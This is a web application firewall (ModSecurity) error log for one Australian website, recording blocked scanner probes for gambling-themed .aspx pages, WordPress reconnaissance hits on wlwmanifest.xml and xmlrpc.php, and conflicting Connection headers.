[Sun Feb 01 20:07:35.658807 2026] [:error] [pid 29578:tid 29601] [client 51.77.218.189:56162] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aX9CB0wa4IUBrS8Q04GmAgAAAZM"]
[Sun Feb 01 20:07:38.263847 2026] [:error] [pid 10616:tid 10622] [client 51.77.218.189:56170] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aX9CCmd8pZdmVx6pUp7ucAAAAMI"]
[Sun Feb 01 20:07:40.854502 2026] [:error] [pid 10508:tid 10566] [client 51.77.218.189:56182] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aX9CDAFwdoMQv5EWp9tYjwAAAFY"]
[Sun Feb 01 20:07:43.473898 2026] [:error] [pid 2033:tid 2046] [client 51.77.218.189:56184] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aX9CD_F7B4oR5nK3T_MK4gAAAQs"]
[Sun Feb 01 20:07:46.085518 2026] [:error] [pid 10616:tid 10629] [client 51.77.218.189:53424] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aX9CEmd8pZdmVx6pUp7udwAAAMk"]
[Sun Feb 01 20:07:48.586714 2026] [:error] [pid 10616:tid 10622] [client 51.77.218.189:53430] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aX9CFGd8pZdmVx6pUp7uewAAAMI"]
[Sun Feb 01 20:07:51.089755 2026] [:error] [pid 10509:tid 10574] [client 51.77.218.189:53436] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aX9CF1MNpJBihOJgwVvwuwAAAIM"]
[Sun Feb 01 20:07:53.718742 2026] [:error] [pid 51610:tid 51615] [client 51.77.218.189:53448] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aX9CGd7GFdNFAqImMQAYygAAAUE"]
[Sun Feb 01 20:07:56.360997 2026] [:error] [pid 10616:tid 10629] [client 51.77.218.189:43510] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aX9CHGd8pZdmVx6pUp7ufwAAAMk"]
[Sun Feb 01 20:07:58.822187 2026] [:error] [pid 10509:tid 10587] [client 51.77.218.189:43516] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aX9CHlMNpJBihOJgwVvwwQAAAJA"]
[Sun Feb 01 20:08:01.343623 2026] [:error] [pid 10616:tid 10636] [client 51.77.218.189:43522] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aX9CIWd8pZdmVx6pUp7uhgAAANA"]
[Sun Feb 01 20:08:03.840039 2026] [:error] [pid 2033:tid 2046] [client 51.77.218.189:58706] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aX9CI_F7B4oR5nK3T_MK9QAAAQs"]
[Sun Feb 01 20:08:06.344275 2026] [:error] [pid 10506:tid 10521] [client 51.77.218.189:58716] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aX9CJq32IC2Db4uwFyOdwwAAAAU"]
[Sun Feb 01 20:08:08.956531 2026] [:error] [pid 2033:tid 2037] [client 51.77.218.189:58732] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aX9CKPF7B4oR5nK3T_MLAQAAAQI"]
[Sun Feb 01 20:08:11.576732 2026] [:error] [pid 10509:tid 10577] [client 51.77.218.189:58744] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aX9CK1MNpJBihOJgwVvwyQAAAIY"]
[Sun Feb 01 20:08:14.211941 2026] [:error] [pid 29578:tid 29588] [client 51.77.218.189:57228] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aX9CLkwa4IUBrS8Q04GmKgAAAYY"]
[Mon Feb 02 01:08:49.731514 2026] [:error] [pid 2033:tid 2039] [client 43.130.102.223:58374] [client 43.130.102.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aX-IofF7B4oR5nK3T_NJTgAAAQQ"]
[Mon Feb 02 04:47:52.040843 2026] [:error] [pid 63153:tid 63173] [client 45.130.83.152:51975] [client 45.130.83.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 45.130.83.152, counter = 6"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aX-7-HC9GXHnmLkdgdmjTgAAAMw"]
[Mon Feb 02 04:47:52.135693 2026] [:error] [pid 33612:tid 33623] [client 45.92.229.242:38105] [client 45.92.229.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.92.229.242, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aX-7-MtFn80qQEmo5QooPgAAAQk"]
[Mon Feb 02 04:47:54.749778 2026] [:error] [pid 33612:tid 33629] [client 45.92.229.242:38105] [client 45.92.229.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 45.92.229.242, counter = 6"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aX-7-stFn80qQEmo5QooWgAAAQ8"]
[Mon Feb 02 04:47:55.970634 2026] [:error] [pid 63033:tid 63113] [client 45.130.83.178:27447] [client 45.130.83.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aX-7-_eMX2QyIh3K16oWPQAAAFY"]
[Mon Feb 02 04:47:57.199564 2026] [:error] [pid 63033:tid 63092] [client 45.92.229.242:60931] [client 45.92.229.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 45.92.229.242, counter = 6"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aX-7_feMX2QyIh3K16oWRQAAAEE"]
[Mon Feb 02 06:03:35.149453 2026] [:error] [pid 33612:tid 33629] [client 170.106.140.110:34662] [client 170.106.140.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aX_Nt8tFn80qQEmo5QpI-wAAAQ8"]
[Mon Feb 02 06:42:45.605963 2026] [:error] [pid 33612:tid 33637] [client 193.70.34.35:60274] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aX_W5ctFn80qQEmo5QpTrwAAARc"]
[Mon Feb 02 06:42:48.348754 2026] [:error] [pid 63033:tid 63100] [client 193.70.34.35:34834] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aX_W6PeMX2QyIh3K16ozsQAAAEk"]
[Mon Feb 02 06:42:51.365220 2026] [:error] [pid 63153:tid 63185] [client 193.70.34.35:34860] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aX_W63C9GXHnmLkdgdnFvQAAANg"]
[Mon Feb 02 06:42:54.270279 2026] [:error] [pid 63033:tid 63101] [client 193.70.34.35:34870] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aX_W7veMX2QyIh3K16ozvgAAAEo"]
[Mon Feb 02 06:42:57.219660 2026] [:error] [pid 63032:tid 63063] [client 193.70.34.35:34880] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aX_W8XyEQ1PkpebvdRgpMAAAAAA"]
[Mon Feb 02 06:43:00.027275 2026] [:error] [pid 63034:tid 63131] [client 193.70.34.35:51494] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aX_W9OKXlgw75_wfbHou0AAAAI0"]
[Mon Feb 02 06:43:02.919011 2026] [:error] [pid 46008:tid 46023] [client 193.70.34.35:51500] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aX_W9iRa52iYn7SlSMnwVQAAAUw"]
[Mon Feb 02 06:43:05.626454 2026] [:error] [pid 63033:tid 63106] [client 193.70.34.35:51516] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aX_W-feMX2QyIh3K16oz2AAAAE8"]
[Mon Feb 02 06:43:08.334180 2026] [:error] [pid 63034:tid 63129] [client 193.70.34.35:59164] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aX_W_OKXlgw75_wfbHou1wAAAIs"]
[Mon Feb 02 06:43:10.907324 2026] [:error] [pid 63153:tid 63169] [client 193.70.34.35:59180] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aX_W_nC9GXHnmLkdgdnF0gAAAMg"]
[Mon Feb 02 06:43:13.592330 2026] [:error] [pid 33612:tid 33637] [client 193.70.34.35:59192] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aX_XActFn80qQEmo5QpT1QAAARc"]
[Mon Feb 02 06:43:16.241028 2026] [:error] [pid 63153:tid 63162] [client 193.70.34.35:59196] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aX_XBHC9GXHnmLkdgdnF4AAAAME"]
[Mon Feb 02 06:43:18.950818 2026] [:error] [pid 63033:tid 63103] [client 193.70.34.35:48778] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aX_XBveMX2QyIh3K16oz5wAAAEw"]
[Mon Feb 02 06:43:21.451814 2026] [:error] [pid 63034:tid 63126] [client 193.70.34.35:48784] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aX_XCeKXlgw75_wfbHou9AAAAIg"]
[Mon Feb 02 06:43:24.014613 2026] [:error] [pid 46008:tid 46021] [client 193.70.34.35:48788] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aX_XDCRa52iYn7SlSMnwhQAAAUo"]
[Mon Feb 02 06:43:26.518953 2026] [:error] [pid 63033:tid 63096] [client 193.70.34.35:48802] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aX_XDveMX2QyIh3K16oz8QAAAEU"]
[Mon Feb 02 06:43:29.038084 2026] [:error] [pid 62826:tid 62840] [client 193.70.34.35:55850] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aX_XEYF6vPvg_C5dUL-dSgAAAYw"]
[Mon Feb 02 09:24:36.685610 2026] [:error] [pid 8507:tid 8509] [client 147.135.253.47:37748] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aX_81Nk9kluqaCHoCyml9AAAAcA"]
[Mon Feb 02 09:24:39.478776 2026] [:error] [pid 63032:tid 63071] [client 147.135.253.47:52032] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aX_813yEQ1PkpebvdRhYbQAAAAg"]
[Mon Feb 02 09:24:42.130022 2026] [:error] [pid 46008:tid 46032] [client 147.135.253.47:52038] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aX_82iRa52iYn7SlSMkVRwAAAVU"]
[Mon Feb 02 09:24:44.954003 2026] [:error] [pid 33612:tid 33633] [client 147.135.253.47:52040] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aX_83MtFn80qQEmo5QqD1QAAARM"]
[Mon Feb 02 09:24:47.570156 2026] [:error] [pid 46008:tid 46014] [client 147.135.253.47:52050] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aX_83yRa52iYn7SlSMkVTAAAAUQ"]
[Mon Feb 02 09:24:50.022788 2026] [:error] [pid 63153:tid 63163] [client 147.135.253.47:53618] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aX_84nC9GXHnmLkdgdn-TwAAAMI"]
[Mon Feb 02 09:24:52.806927 2026] [:error] [pid 33612:tid 33620] [client 147.135.253.47:53628] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aX_85MtFn80qQEmo5QqD3gAAAQY"]
[Mon Feb 02 09:24:55.489042 2026] [:error] [pid 63034:tid 63127] [client 147.135.253.47:53642] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aX_85-KXlgw75_wfbHpR3QAAAIk"]
[Mon Feb 02 09:24:58.165955 2026] [:error] [pid 62826:tid 62841] [client 147.135.253.47:53656] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aX_86oF6vPvg_C5dUL_E_wAAAY0"]
[Mon Feb 02 09:25:00.687108 2026] [:error] [pid 63153:tid 63185] [client 147.135.253.47:35310] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aX_87HC9GXHnmLkdgdn-XwAAANg"]
[Mon Feb 02 09:25:03.195736 2026] [:error] [pid 62826:tid 62833] [client 147.135.253.47:35322] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aX_874F6vPvg_C5dUL_FDQAAAYU"]
[Mon Feb 02 09:25:05.737958 2026] [:error] [pid 63033:tid 63094] [client 147.135.253.47:35330] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aX_88feMX2QyIh3K16phxQAAAEM"]
[Mon Feb 02 09:25:08.264132 2026] [:error] [pid 63032:tid 63084] [client 147.135.253.47:35338] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aX_89HyEQ1PkpebvdRhYuQAAABU"]
[Mon Feb 02 09:25:10.735036 2026] [:error] [pid 63032:tid 63070] [client 147.135.253.47:51884] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aX_89nyEQ1PkpebvdRhYvwAAAAc"]
